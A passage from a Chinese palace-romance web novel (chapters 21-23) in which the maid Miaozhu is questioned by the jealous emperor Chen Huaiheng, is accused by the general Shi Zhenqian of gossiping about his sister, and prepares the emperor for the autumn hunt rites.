可大抵是没有见过像陈怀霖这样的人,他实在是客气知礼,妙珠几乎都快忘记了他也是个亲王。 妙珠想到自己湿了身那日陈怀霖也在,面色瞬间浮上了一片酡红。 叫谁看到不好,怎么就叫陈怀霖也看到了呢。 在这样如玉温柔的人面前,她的不堪好像更加显眼了一些。 她回了陈怀霖的话:“奴婢染了风寒,不好再在陛下身边服侍。” 陈怀霖看出了妙珠的赧然,又想起那事确实也不好一而再再而三的被提起,再说起来,除了让眼前的人难堪之外,还能如何呢。 陈怀霖很快换了个话题,他问她道:“你唤什么名字?” 妙珠没想到他会问起这个,愣了片刻后,回他道:“妙珠,奴婢叫妙珠。” “妙珠。”陈怀霖低喃重复了一遍她的名字,转瞬轻笑,“是个好听的名字。” 东曦既驾,晨光下,面前的男子温和内敛,眼若桃花,口中轻喃时,将妙珠二字似都唤得百转千回。 类似这样的话,陈怀衡也说过的。 然而妙珠从陈怀衡口中听到这话时,只觉他在讥讽于她,可从陈怀霖口中听到,却又觉他似是真的在称赞。 讥讽与称赞,都让妙珠生出了局促。 陈怀霖又道:“妙珠,往后你不用在我面前称奴婢,我也不是你的主子。” 人和人之间果真是不大一样的。 陈怀衡也曾问过妙珠叫什么名字,可是,他知道了她的名字之后却还是总喜欢喊她“小蠢货”,问了名字也是多此一举。 妙珠听陈怀霖这样说,下意识还是觉得不大好,她想说些什么,陈怀霖却先开口打断道:“时候不大早了,我先去寻陛下了。” 才说几句话的功夫,天就越来越亮堂了,妙珠没能再继续说什么,只讷讷应道:“好。” 陈怀霖往主殿里头走去,直到背影彻底消失不见,妙珠的视线才终于收回。 视线从陈怀霖的背影那里收了回来,却扫到主殿的窗边站着个人,妙珠定睛一看,却不知陈怀衡是何时站在那处。 他不知道是什么时候起身的,也不知道是什么时候站在那里的。 从始至终,无声无息。 他和陈怀霖的气质迥然不同,刚和陈怀霖说完话之后,转瞬再见到窗边站着的陈怀衡,妙珠只觉他更加阴森,恍若白日见鬼。 就在看到他的那一瞬,妙珠身上被惊得起了一身鸡皮疙瘩,强行冲他扯出了个笑。 陈怀霖已经进了主殿,陈怀衡收回了视线,不再看她。 今日陈怀霖来找他是来议关于新政一事。 上回他来,也是在说那事。 自从先帝绷逝,已有八年之久,现在朝中的政令体制也仍旧是沿着从前的那一套,陈怀衡有意推行新政,早些年间不用说,他说的话没人会听,提了也白提,反倒惹得有心之人猜忌。可是现下 不大一样了,他渐渐站稳脚跟,有了自己的势力,想做的事情总要去做。 毕竟当初先帝在世时,陈怀霖曾是所有臣子心中的储君,而陈怀衡只是个名不见经传的皇子,陈怀衡登基之后,也不少有人说过他德不配位,不如协王。 在这样的关系下,他们之间的感情势必也不会那么兄友弟恭。 众人本以为他们关系不对付,陈怀霖倒还好,总归心胸宽广,倒是陈怀衡那样的人,睚眦必报,曾经处处被他压一头,心中岂能那么敞亮? 可是现下看来好像也并非如此,协王时常出入乾清宫和帝王商议政事,而陈怀衡也并没有去刻意针对过他什么。 现下陈怀衡想要推行新政,竟也是最先找来了陈怀霖商议。 这个新政他曾经的老师也提出过,他是前一任的首辅,只是后来犯了错,被弃了市。 那个给他判罪的折子,还是陈怀衡亲自批的红。 死去的首辅是陈怀衡的第一个老师,是个极其激进的大臣,他表面正派实际两面三刀,谁若是得罪了他,他马上就要想着法子送人回去老家。就这样,他莽莽撞撞地得罪了不少的人。 所以最后落得那样的下场好像也不足为奇了。 现下他死了约莫有三年,陈怀衡又想重新捡起他曾提过的新政。 陈怀霖是个不错的臣子,他在这方面不会被自己的私心蒙蔽,心中有了别样的想法,也乐得和他去说。 两人在乾清宫说起关乎新政的事情,陈怀霖对这事也很感兴趣,他们在这一方面不谋而合。 和陈怀霖商量好了之后,一会刚好在上早朝的时候两人去打配合。 大约论了两刻钟的功夫,眼看快要到了早朝的时候,陈怀衡和陈怀霖终于从乾清宫里面出来。 两人从里面出来的时候,妙珠还在扫着地,乾清宫很大,从这头扫到那头,不知道要扫到什么时候去。 只是方才应当是被突然出现的陈怀衡吓到,现下躲得远远的,扫着别处的地。 陈怀衡的视线并没有再在她身前驻足,反倒是陈怀霖下意识多寻了她一眼。 陈怀衡注意到了他细微的动作,不过最后仍旧没说什么,最后大步离开了这处。 陈怀霖收回了视线,没有再看,跟了上去。 妙珠全然不知道他们那处发生的事情,待到忙完了这里的东西之后便去寻了荣桃一道去用早膳。 她没有将早上发生的事情放在心上,用过早膳之后又去了后苑那处给花草浇浇水,一直到陈怀衡下朝回来之后,她又被叫到了殿里头去。 卿云来喊她,道:“陛下唤你进去呢。” 妙珠还在后苑浇着花,奇怪道:“我这染着风寒,万一害了陛下,是不是不大好。” 卿云对她道:“害了陛下那也不是你的事了,可你现下不进去,陛下怕又要生气。” 听她这样说,妙珠便放下了手上的东西,进了殿内。 虽卿云说若是害陈怀衡也染上了风寒,那不是她的事,可她还是不大敢往陈怀衡的身边去。 他靠在龙椅上,依稀能见紧绷的下颌,妙珠站在底下,踟蹰不敢上前,刚欲开口问他传她进来是做什么,就听陈怀衡先开了口。 “都和他都说了些什么?” 妙珠很快反应过来,他这是在问方才的事情。 他问她方才他们说了什么? 妙珠回想起来,来回也不过就那么几句话,陈怀霖问她叫什么,又说往后不要在他面前自称奴婢。 现下陈怀衡问起,妙珠知道他这是又犯了疑心病,从前她因着黄坚白一事挨过他一回敲打,她还记得陈怀衡极不喜欢自己的私仆和旁人有所牵扯。 她想着法子和陈怀霖撇开干系,道:“什么都没说,只是殿下见奴婢在外面杂扫,随意问了两句。” 陈怀衡仍旧没有放过的意思,他道:“都问了什么。” 他端坐高台,却不依不饶,步步紧逼。 妙珠难得为这种事情头疼,因她实在不想说出方才的谈话内容有什么值得日理万机的帝王来细问。 可她的胆子又就这么点大,他不喜欢她做的事情,只要随便开口敲打一句,又或者直截地用方才站在窗边阴骘的眼神看她,那就足够了他的一个眼神,一句话,就能叫她溃不成军,俯首帖耳。 妙珠声音听着有些闷,应是风寒还没好透,说话间还带着厚重的鼻音,她道:“许是觉得有缘,殿下问了一句奴婢叫什么。” 她想了想后补充了一句:“就这样,没别的了。” 她撒谎了。 还有后面的话她没有说。 可那些话也没什么好叫陈怀衡知道的。 “有缘?”陈怀衡听后竟笑出了声,这声音在妙珠耳中听着有那么些的刺耳了,他讥讽道:“他一个亲王,和你一个婢女有什么缘?呵,露水情缘啊?” 这都什么跟什么啊。 妙珠难得叫他说得羞愧,许是不经这样轻薄的挑逗,面上一瞬间浮现了不寻常的红。 她的变化全数落在了陈怀衡的眼中。 他眼睁睁看着她的脸因为“露水情缘”四个字变红。【你现在阅读的是魔蝎小说 moxiexs】 20-30 第21章 第二十一章就连他都差点被她哄得晕头…… 哇。 还真叫他说中了她的心事。 天愈发明亮,窗棂大开着,日光肆无忌惮地从外面泄露了进来,她站在大殿中央,发丝都被光晕染得金亮亮的,秋日的清晨,她的眸中似蕴着一汪春水,就连带着耳根都羞红一片,那臉颊染着的绯红更如红灯映雪。 秋光,还有动情的少女,不得不承认,就这样一副简单的情景,看着竟美不胜收。 然而,这一切的一切,全都是因为别的男人。 因为陳怀霖,她的臉竟红成这番。 不知是什么缘故,陳怀衡捏得指骨作响,他的半张侧臉掩在阴影之中,指骨都快捏碎了,可面上反倒看不出一丝情緒,只是周遭泄露出的恐怖气息叫人知道他现在的心情算不得多好。 他早就说她是巧言令色,满口谎话。 每次在他面前说起哄人的话来就是滔滔不绝面不改色,说什么陛下是天唯一的天,说什么长命百岁千秋万代,结果呢,结果转头就为了一个见过几次面的男人,就因为那“露水情缘”四个字臉红成那般。 妙珠啊妙珠,这么卑贱的你,为什么要这么会说哄人的话呢? 就连他都差点被她哄得晕头转向了。 陳怀衡倾身靠到了桌案上,望着底下的妙珠,他的声音听着没什么起伏,眼中没有什么怒气,他平缓,极尽平缓地问她:“妙珠,你想死吗?” 你敢背叛我。 那你倒不如去死。 不啊,不,光死都是有点太便宜她了。 就算她卑贱到了骨子里面,就算他再看不起她,那她也别想着去找别人。 当初如何说,现在就该如何做,他生平最厌旁人背叛,她若心口不一,倒不如拔了舌头,掏了心。 妙珠蓦地看向陳怀衡,知道自己的表情一定是泄露出了自己的心事。 他看着很冷静,可此刻的他比以往每个时候都要吓人,那双眼睛睨着她,没有任何的情緒,瞳孔的阴黑少了,脸上的便多了,下三白露出的地方过多,讓这双眼看着更加薄情。 妙珠强忍着恐惧辩解道:“是陛下先拿奴婢做玩笑的” 竟还敢倒打一耙了。 陈怀衡道:“那你脸红些什么呢?” 妙珠道:“露水情缘陛下,这样的话,任何一个女子听了都会羞恼的。” 她只是羞赧,绝对没有其余的情绪。 妙珠怕陈怀衡不信,继续道:“协王殿下又不及陛下,奴婢除了这个原因,还能为什么脸红呢。” 她日 日服侍在他身边,替他净身穿衣都不曾脸红,怎么会和陈怀霖说过几句话就脸红呢? 陈怀衡没说话,可眼中仍舊看不出情绪,也不知道是信了,还是没信。 妙珠硬着头皮看他,没有回避,任他凝着她。 陈怀衡在想什么,妙珠不会知道的,她只知道,不能认,绝对不能认。 陈怀衡像是放过了她,没再说起这事,他说再过几日就是秋猎了,讓她快点把风寒养好,不要想着到时候躲在宫中偷懒。 妙珠应下便离开了这里,只是从这里头出来的时候,后背不知不觉出了一身的冷汗。 她摸了摸仍舊有些发烫的脸颊,仰头望着一望无际的天,沉沉地叹出了口气。 陈怀衡实在難伺候,她難得觉得疲惫。 她也不想在陈怀衡面前泄露自己的本心,可是,心这种东西,她到底该怎么去控制呢。 * 很快便入了十月,再有两天陈怀衡就要协同群臣,前往秋猎。 妙珠的风寒最后还是养好了,陈怀衡让太医给她弄了药来,她老老实实喝了几贴下去,养了个几日就好全了,好全了以后又回了陈怀衡的身边。 在前往秋猎的前一日,乾清宫里面来了个武将。 大昭重文轻武,文臣武将们也互相看不上眼。 将軍们在马背上得下的战功在文臣的眼中不过是匹夫之勇,文臣们的决策意见在武将们眼中不过是没有用的空中楼阁。 以往和陈怀衡商议政事的大多是些文臣,武将什么的是不常见到的。 今日来的这武将看着不大,才方弱冠,他一身湛蓝常服,剑眉星目,若非是卿云禀告的时候说来的这人是“星鸿将軍”,妙珠下意识就以为这是个文臣。 这人名施枕謙,其父当年任北疆一带总督,当初陈怀衡领军北伐,便是他的父亲和他一直伴在左右。 后来北伐打了大胜仗,施家人功不可没。施枕谦的生父陆总督在当年北伐一战之中,为了保护陈怀衡而没了性命,从北疆回来之后,施枕謙获封星鸿将军,承袭其父功勋,二十出头的年纪就已经在五军都督府的中军都督府任了都督佥事一职,是正二品的官职。 他前段时日受命去了驻守河套,专为处理鞑靼的事情,待到那里安定下来一些便回了京,修整了两日就来面见君主。 他冲着陈怀衡行了个礼,陈怀衡和他年少相熟相知,大手一挥就免了他的行礼,给人赐了座。 他问他:“套寇可安静了?” 做为曾经并肩而战的战友,施枕謙领兵带战的本领,他再相信不过,当初北伐之时几乎所有人都反对施枕謙做副将,就连他的父亲陆总督都反对,陈怀衡顶着一众压力,将人提拔了上来,最后也好在他没叫人失望。 在北疆的日子十分艰苦,不过,那也是陈怀衡度过最轻松的时候。 那里远离了京城的勾心斗角,一切没有那么复杂,所要做的,只是为了赶走入侵家国的敌寇,所有人的目的都只是为了一場又一場的胜仗。 在北疆轻松,不似在京城中,一百个文官,一百个想法,一件事情能吵出一百句话来。 施枕谦回了陈怀衡的话,他道:“消停会了,这会已经都退回去了。” 先前那些鞑靼打进了河套,想占了大昭的地,施枕谦在那驻守了两三月,等来了朝廷的军需,将人打了回去,安静了,便回了京城。 “这事辛苦你了,到时候想要什么赏赐同朕说就是了。” 施枕谦还能要什么赏赐啊,这么点年纪就做到了二品官,封金赏银也早不缺了。 他笑道:“不要赏赐了,我把寧煦接回家了。” 陈怀衡听到后,下意识蹙眉,他道:“你把她接回来了?” 他的声音难得听出情绪,似是对施枕谦这样的自作主张极其不满。 施寧煦是施枕谦的亲妹妹,当初跟他们一道在北疆,后来在北疆的时候落了病根,回来后在京城待了半年,便又去了外地养病。 陈怀衡道:“溪山适合她养病,你接她回来做什么?” 妙珠在一旁侍奉着,听到陈怀衡口中的“养病”二字,忽地想起了卿云口中那身子骨不大好的姑娘。 想来应当就是施将军口中的这人了。 她站在一旁,竖起耳朵去听两人说话。 施枕谦道:“前段日子宁煦说想回家了,子明大师也说她那痼疾差不多去干净了。她说要归家,那我这个做兄长的,能坐视不理吗,回京的路上顺道就接上了她嘛。” 陈怀衡眉心仍旧拧着,显然对他的行径不大认可。 “知道你是怕她受不住奔波,放心吧,人好着呢,病好了七八成,现下在家里面歇着,本来说也要进宫来,被我拦住了。” 人都回来了,他还能说些什么呢。 陈怀衡道:“行,反正那是你妹妹,你把她作践不好了,你自己心疼。” 施枕谦听到这话便笑了:“我自己心疼?那你不心疼?” 他又道:“过几日秋猎我带上她一起,那病已经养得差不多了,出去玩玩就当散心了。” “也行。” 听到这里,妙珠大概是差不多听明白了。 两人言语暧昧,施枕谦口中的宁煦姑娘一定就是陈怀衡的心上人了。 现下她回来了,下一步陈怀衡是不是就该立后了? 妙珠也不知道宁煦是个怎么样的人,若她是个好人,那她成了皇后之后,她的日子能好过一些吗? 陈怀衡没再和施枕谦贫嘴,眼看天快黑下来了,留人下来一起用了晚膳,妙珠在一旁为他们布着菜。 施枕谦这才注意到他身边换了人,以往跟着的都是卿云,两月不见竟换了人。 他随口问了一句:“怎么换人了?” 陈怀衡知道他是在说谁,随口道:“卿云忙不过来。” 忙了快两年了也不见他体恤过人忙不过来。 现下乾清宫的宫女多起来了,倒是知道体恤了。 他多看了妙珠两眼,眼中多了两分打量。 陈怀衡和施枕谦人年少相识,相比起陈怀霖这个亲兄弟,两人倒是更亲近一些。他们一道从战场上摸爬滚打过来,身上的血都流在一起过,他们不像君臣,更像兄弟,而在施枕谦面前,陈怀衡也没那么多的规矩道理。 注意到他的视线,陈怀衡给他夹了一筷子菜,道:“吃你的吧,一个婢女,有什么可看。” 不让看? 施枕谦更觉古怪了。 他的表情有些不大对劲,对妙珠道:“你下去先,我有话要同皇上说。” 施枕谦看着和陈怀衡的关系很好。 可妙珠得听陈怀衡的,施枕谦要赶她走,她也只看向陈怀衡。 直到陈怀衡点头,她才终于出了门。 人一走,施枕谦便撂了筷子问他:“那莫不是你的暖床宫女?” 陈怀衡眉心一跳,旋即也搁置了筷著。 “她只是一个很卑贱的宫女而已。” 施枕谦大概想象不到这个人会有多没骨头,想象不到她究竟是一个怎样的女子。 陈怀衡确实不否认,他是喜欢她对他的顺从。 可是在这样的时候又厌恶她的卑贱。 恐葬鱼腹,犹贪雀生。 她没有骨气,懦弱到了极点,她压根就不可能会是他想要的女人。 他甚至根本就不明白自己为什么会在那样的情景梦到她。 施枕谦显然不信他的话,他反问:“是吗?” 他们两个认识这么些年,他难道还不知道陈怀衡心中在想些什么吗?所以,他一说这话他就不相信。 第22章 第二十二章你当朕和他一样没轻没重?…… 可施枕謙当然是为自家的妹妹不痛快,这算是什么?她就出去个两年不到的时候,结果回来之后陈懷衡的身邊就有人了,那他们当初那又算是什么? 别真说是什么哥哥和妹妹,他才不信。 他和宁煦是真親兄妹,陈懷衡和她又不是。 即便知道陈懷衡是皇帝,这些事情于他而言再正常不过,可是,施枕謙心里头又怎么可能 痛快得起来。 陈懷衡听施枕謙的语气,面色有些泛冷,他道:“朕是皇帝,就算她是,那也很正常” 权色向来难分得清,在这紫禁城这样的事情数不胜数。妙珠就算是他的暖床宫女那又何妨?这难道不是再正常不过的事情吗。 陈怀衡说到这里,忽然噤了声,他转瞬之间又想到了别的地方去,前些时日,本还有些拎不清的脑子瞬间活络了过来。 他压根就没有必要去多想这么一件事情。 皇帝不会因为一个任何人而变得卑贱,相反,任何一个人都会因为他而变得高贵。 这是身为皇帝,天然的好处。 他方登基为帝时或许不大能明白这个道理,可是现在,难道他还不能明白吗? 所有的一切,全凭他的心意即可。 陈怀衡不再想下去,只是輕笑一声,笑他一时间竟自己让自己走进了死胡同。 他不再理会施枕謙那有些无礼的诘问,自顾自重新用起了饭,只是心情瞧着竟莫名好了一些。 施枕谦见他都拿皇帝的名号出来压人,只嘟囔了一声“没劲”,却也终究是没再继续说下去了。 陈怀衡这人,强势得不行,谁都是不能和他蹬鼻子上脸的。 没办法,施枕谦扪心自问,自己要是皇帝,别人也蹬不到他头上来。 施枕谦生得不如寻常武将孔武,反倒是多了几分读书人的墨气,但因自小和父親在邊关长大,自从北伐之后又常年领兵,身上难免帶着武将的不拘小节,他用饭的时候也相当随便,陈怀衡和他相比,倒显得斯文多了。 或许是心里头还和因着方才的事情和陈怀衡较着劲,施枕谦匆忙用完了晚膳之后就起了身要離开。 陈怀衡也没拦他,任他告退離开。 那头妙珠被施枕谦赶出了殿内,便在门口候着,恰碰到了卿雲从殿前路过,妙珠便从台前下去寻她。 “卿雲姐!” 妙珠开口唤她。 卿雲听到妙珠的声音也顿了步,她问她:“妙珠,怎么没在里面?” 妙珠解释了自己是被施枕谦赶出来,那两个人应当有什么话不方便叫她听见,所以才让她出了门。 她又想起方才他们口中提起的施宁煦,便拉着卿雲去了一旁说起了一些私房话。 卿云觉着她古怪得很,打趣道:“这是在里面听到什么话了,要来鹦鹉学舌了。” “卿云姐,你笑话我!” 怕说羞了她卿云也没再玩笑,她道:“好好好,你同我说就是了,是不是在里头听到什么了?” 妙珠掩着嘴同她道:“陛下的心上人要回来啦。” 卿云听到这话,蹙起了眉:“妙珠,可不兴瞎说。” 妙珠道:“我没胡说,我方才听那将军说,他把妹妹从溪山接回来了,说过些时日也要跟着一道去秋猎。” 卿云奇怪道:“施小姐身子不是不好吗?” “听施将军的话,像是已经治得差不多了。” 卿云点了点头算是应下来,也没再说了,不知是在想些什么。 卿云在很早的时候就已经在乾清宫了,自然也知道那施宁煦是谁,那位小姐当初身子不好,陈怀衡便将人留在了乾清宫的偏殿住着,他让御医好生将其照料,甚至还亲力亲为。 像陈怀衡这样的人,能亲自做那样的事,想也知道有多看重她了。 可究竟喜不喜欢的,卿云也揣测不出来。 只晓得应当是有些情谊在的。 卿云许久没说话,一直到妙珠又开口,她问道:“卿云姐,那施小姐是个怎么样的人啊,她好伺候吗” 妙珠想得极其简单,既那两人如此深情厚谊,陈怀衡又迟迟不愿立后,想来唯一的缘由就是等着他那心中的姑娘,现下她回来了,陈怀衡是不是就该立后了呢? 只是不知道,那施小姐是不是个好相与的人,若是好伺候,往后宫中气氛也不当如此压抑。 妙珠话还没有说完,就听身后传来了一道隱着怒气的声音:“你这婢女在嚼谁的舌根呢?” 两人听到声音,忙回头望去,就见施枕谦面色黑沉站在身后。 她们皆噤了声。 妙珠没想到施枕谦这么快就从里头出来了,更没想到说的话叫他听去了,又不知是听去了多少。 许是护妹心切,施枕谦听到便瞬间发作。 妙珠想要解释,若是这事闹到陈怀衡面前少不得他又要发脾气,她道:“没呢,什么都没说,将军也听到了的。” 真是什么都还来不及说,施枕谦就从旁边窜出来了。 可施枕谦又怎会輕易放过这事,他早就因陈怀衡的行径不满,自觉他和面前小宫女是有了什么关系。陈怀衡对不起家中妹妹,偏施枕谦也不好说些什么,出来后一直因着这事不痛快。 只没想到这回倒正正好叫他寻到了机会,碰到她在说宁煦的闲话。 施枕谦非要抓着妙珠进去,说明白了这事。 他要看看陈怀衡到底是偏谁。 施枕谦说什么都不听妙珠“狡辩”,哪里管她方才是说还是没说,直接一把抓住了她的手腕进殿,去和陈怀衡告状。 卿云见了想要去拦,却被施枕谦警告:“这不干你的事,别来掺和。” 陈怀衡还在殿里头用膳,就忽又听殿门口那处传来一阵渣渣呜呜声响,就见方才离开了的施枕谦去而复返,手上还抓着妙珠,就跟拎小鸡似的把人拎进了殿里。 陈怀衡眉心拧了起来,还没来得及说话,就听施枕谦对着他道:“你这小宫女在外头编排宁煦,你管不管了?” 妙珠急道:“没有编排啊,只是提了一嘴,决计没有编排的意思!” 这当将军的人果真同大老粗一样,听话就听一半,压根就不听旁人解释。 他那力气也大得和牛一样,妙珠怎么都挣不开他的手,觉着自己那手腕马上就要被活生生拧断了下来。 一方面是疼的,一方面是叫他冤枉的,眼泪都快急出来了。 施枕谦哪里会听妙珠说的,他今日非要陈怀衡当回判官,看他要怎么断案。 陈怀衡放下了筷著,沉声道:“手先鬆了,她还得服侍朕。” 施枕谦的力气,再抓下去,不过一会就要让人断了手。 这话就是在偏心她了。 施枕谦听到这话更气,但到底还是听了陈怀衡的话,鬆了手。 他一把甩开妙珠,妙珠被他甩得踉跄两步,好歹是没摔了,只是她人都还没稳就逃也似的躲到了陈怀衡的身后。 这施枕谦看起来比陈怀衡倒还吓人一些,力气又大,到时候一个不顺心就来掐死她也说不准。 施枕谦见她这幅样子,又见陈怀衡任她躲着,越看越气,指着妙珠,那手指都气得打颤:“好好好,这么弄是吧。” 这小人样! 仗着陈怀衡在,就觉着他不能怎么着她了。 陈怀衡又是怎么回事?就那小几个月没见,还护上人了! 施枕谦道:“她说了宁煦的坏话,这你也不管?!” 他若是这也不管,当真是瞎了眼。 陈怀衡道:“你出去,朕自己训她。” 施枕谦冷笑:“我出去?你当我不知道你要怎么训她?” 训?他要怎么训? 还当他傻呢。 陈怀衡不做声了,只是神色也没那么和气了。 两人隱隐陷入了一阵对峙,气氛竟陷入了凝滞。 施枕谦从没想到有一日,陈怀衡竟会因为一个女人和他落到这样的境地。这么多年的情谊,当初并肩作战,踏尸山血海,结果结果!他顿感心寒心酸,许是气的许是恨的,一瞬百感交集,喉咙都叫哽得厉害。 殿里头烛火闪烁,他的眼中似有泪珠闪烁。 妙珠见他真这般委屈,又知他是真气狠了她,最后缩在陈怀衡身后小声出言道:“将军气奴婢,罚吧,陛下罚就是了,把将军气坏了身子那便太不好了。” 施枕谦见妙珠又在这样的时候,跳出来说这样的 话,气得就差跺脚:“闭嘴!还在惺惺作态!” 好做派,真真是好做派,不送去教坊司都可惜了。 妙珠给他这突然发作吓得又缩回去了脑袋。 施枕谦没有想到自己气得狠了,本该嘶吼的声音却发了颤,在空气中传着传着就劈了叉。 待反应过来后,看向陈怀衡的神色俨然帶了几分失望。 他不想再继续待在这里看那两人,头也不回离开了这处。 大嗓门离开了这处,殿内一瞬陷入了死寂,只有陈怀衡曲起手指轻扣桌面发出的声响。 陈怀衡忽地开了口:“舒服了?” 小蠢货故意在那里气人呢。 平常的时候胆子小,不大敢吭声,被吓得厉害的时候,才吭出几句花言巧语来哄人。今个儿倒是厉害,一句挨一句的,说什么“若是将军生气,就来罚奴婢”,怎么着?是真不把人气死不罢休。 现在呢,人真叫她气走了,舒服了? 妙珠装傻,她道:“不懂陛下在说什么。” 分明是施枕谦不讲道理在先的,她有什么好舒服的。 陈怀衡呵笑一声,妙珠不明白他在笑什么,可下一瞬,忽就被他伸手拉到了面前。 妙珠被他突如其来的动作吓到,想抽回手,却被他死死攥着。 他的力气和施枕谦相比,有过之而无不及,只是不知道他那是使了什么力气,他抓着,竟也没那般疼。 陈怀衡将她的手拉到了面前,掀起了她的衣袖去看,果真就见上面赫然五个发红的指印。 纤细的,白皙的手腕上,那抹红何其的显眼,何其的刺眼。 陈怀衡将自己的大掌覆了上去,他的手指修长,骨节分明,习过武的身躯健壮,带着薄茧的掌心带着几分不容挣脱的强势。 一开始还好好的,可后来不知怎地,手却忽用了力。 按着那个掌印的位置,深深的,重重的,按了下去。 似乎是想要掩盖些什么。 妙珠被他掐得有些疼了,以为他这是故意在惩罚她。 她讨饶道:“陛下莫要再掐了,手要断了,奴婢没法服侍陛下了。” 陈怀衡道:“你当朕和他一样没轻没重?” 妙珠不明白他。 他有轻有重,那这是在做什么? 她不想被掐了,乖乖认了错:“奴婢错了,陛下别掐了。” 陈怀衡没有松手,不过确实松了些力。 “错哪里了?” “不该不该故意那样惹将军生气。” 陈怀衡没说什么,他抬起眼看她:“倒是转了性。” 妙珠垂眸,不敢陈怀衡,但还是开口解释道:“是陛下前些时日让奴婢读的论语。” “和那书有何干系?” “何以报德?”妙珠莫名问了这话,又自顾自道:“孔圣人说,以直报怨,以德报德。” 这事分明就是施枕谦不讲道理在先的,她只是问了一句,施家小姐是什么样的人啊?她什么都没说呢,他就往她的身上泼脏水,他就是成心想来害她坑她的。 她读了那些书,总也不是白白往脑子里面走一遭,真有那么一两句是记到了心里头去。 第23章 第二十三章妙珠,你给喂我了什么?怎…… 陳怀衡听了之后,竟沉默许久。 原来也不是蠢笨得无可救药,倒还真能读明白些个什么東西出来。 他松开了她的手腕,没再捏着。 妙珠抬起手腕一瞧,不知道他是用的什么劲,竟不知不觉间再烙了个更深的掌印上去。 她疑心明早起来一瞧,手得肿个一大圈。 陳怀衡见她这样,不免嗤笑一声:“莫要瞧了,且断不了。” “哦” 陳怀衡起身往里殿走去,妙珠跟在他的身后,又听他问:“方才施枕谦是在气些什么?” 施枕谦虽确实牛心左性,气性大了点,可当也不会无缘无故发作,想来妙珠是真说了些什么東西,叫他逮到了把柄。 不过陳怀衡也清楚他的脾性,有着先前在殿内发生的事情,两分的事情,从施枕谦的口中能说成十分。 妙珠不敢作谎,她在这方面也问心无愧,决计没有任何编排施宁煦是非的意思,她实话实说回了陈怀衡:“就是好奇施小姐是个怎么样的人,什么都还来不及说,就被将軍打断了。” 如果卿云说施宁煦是个好人,那她一定真心实意地说出一句“那实在是太好了”,如果卿云说施宁煦不大好相与,那她也只能遗憾地说一句“那有点糟糕了”,除此外,再多的也不会说了。 陈怀衡顿了步,扭头问她:“你好奇她做些什么?” 她对她能有什么可好奇的? 她和施宁煦见过面?将来难道又会和她有交集?不过是方才在殿里头他和施枕谦谈话间说了几句,难不成就叫她记到了心里面去? 妙珠隐约察觉出陈怀衡语气中的不快。 她本以为自己那样的行径真的算不上说人小话,然而,陈怀衡的反应也让妙珠意识到自己过了界。 她好像确实不该去好奇施宁煦,不该去多嘴问那些的。 意识到错處的妙珠忙认下了错:“奴婢是不该妄议主子的是非。” 进了里殿,陈怀衡已经重新抬步向着置物架的方向去,他一面抬手往架子上翻找着些什么,一面对妙珠道:“有些事情不该问的就别去问,她又不是你的主子,她好又或是不好,也和你没干系。” 瞎操心些别人的事情做什么。 她的主子是他,又不是她。 可这话听在妙珠的耳中像是训诫。 “嗯。” 她垂眸,应下了声。 陈怀衡拿了个小罐子出来,打开后一股草药的味道瞬间弥漫了出来,他的指尖蹭了药膏,抓了她的手腕过来。 根本不容妙珠闪躲拒绝。 妙珠道:“陛下奴婢自己来吧。” 陈怀衡没有理她,沾着药膏的白玉指尖已经往她的手腕上打着圈了。 他低着头,许是晚间的烛火柔顺,他臉上的郁气似都不再那般明显。 手指的动作不轻不重,弄得人起了一股莫名的瘙痒,妙珠忍不住想躲,可是却被他强制按住。 怎么都躲不掉。 暖黄灯光下,陈怀衡声線清泠泠的,他道:“以后想要知道什么,直接来问朕就行了。” 想知道那些还不简单吗,偷偷摸摸问别人做些什么,直接问他岂不是方便更多。 妙珠已经无暇顾及他在说些什么了,只想着早些结束,随便地“嗯”了一声,算是应下。 那日过去之后,施枕谦便再没往宮里头来过了,或许还是因着那日的事情生气。 又几日过去,很快就到了秋猎的日子。 不知是不是妙珠的错觉,总觉陈怀衡这些时日看她的眼神透着几分古怪。 难道是因着她在不知道的时候一不小心又惹恼了陈怀衡?他或许又在琢磨着该去如何處罚于她。可仔细在脑海中回想了一番之后,也没有寻得什么端倪。 妙珠摸不透陈怀衡,更遑论去猜他心中所想。 猜不明白,便不猜了。 十月初十,天朗气清,深秋的空气之中已经充斥着冷意,卯时天光微亮,妙珠起身后就去服侍了陈怀衡。 今日秋猎伊始,群臣要先聚在皇城北边的地安门處,再等帝王亲临行祭祀之禮,才可一同出发前往西山猎場。 因着有祭祀的典禮参加,陈怀衡今日所要穿的服饰也极为複杂,头戴冕冠,玄表朱里,前后垂着十二旒珠,身当着玄衣缥裳,上绣十二章纹,日月星辰,庄重又繁複。 妙珠犹记得第一次为陈怀衡穿衣的情景。 那天她害怕得脑子都跟着发了懵,手上动作也跟着犯了糊涂,后来往地上猛磕了三个响头,现在想起来都还觉 着疼。 有了前车之鉴,妙珠这几日一直在练着怎么为陈怀衡去穿冕服,只怕又重蹈覆辙,到时候一慌张起来,脑袋里就什么都记不得了。 衣服太过复杂,饶是事先练了又练,可在为陈怀衡穿衣的时候还是有些吃力,妙珠一个人忙得满头大汗,陈怀衡就气定神闲地低头瞧她。 最后,妙珠实在是受不了了,仰头看向了陈怀衡,她建议道:“陛下,找个人和奴婢一起来吧,奴婢怕耽搁了时辰。” 这么些个东西,她一个人哪里穿得及,偏外面卿云也来催了两回,说是太常寺的人已经备好了祭祀典禮,群臣们也都已经等在了地安门處。 陈怀衡见她忙得额间出汗,开始为自己搬救兵了,却不允她,他问道:“你又忘记怎么穿了?” 妙珠手上动作没停,解释道:“奴婢不曾忘,是大臣们已经在外头等着了,怕来不及。” 陈怀衡却嗤笑一声:“用得着你去为他们着想?” 他们就算等上一个时辰又如何。 他们不等他,难不成还要他去等他们吗? 妙珠听他这样说,只抿唇不语,手上的动作更快了一些。 好不容易,才总算好了。 身上的东西全都穿了齐全,最后便是冠冕,妙珠稳稳当当为他戴了上去。 今日这身衣服,全数将他身上雍贵凌厉的帝王之气展露了出来,他那半掩在琉珠下的凤眉微挑,织金龙袍在光下熠熠生辉,冕服加身,身躯更显颀长。 着了衣饰也再没些旁的事了,陈怀衡终上了轿辇,动身往地安门的方向去。 秋猎与其说是帝王携群臣共游的玩乐活动,倒不若点明其本身只是一場彻头彻尾的政治活动。 本朝重文轻武,大学士们在朝中占一席之地,而武将们的地位倒越发不如从前。关乎武将的人事任命在兵部与吏部,而统兵与领兵权,又分在都督府与兵部。武将的升迁罢黜听从文官,领兵战略也往往出于书生之手 如此一来,崇文的风气便越重了,而世家尚武的传统便越发衰落。 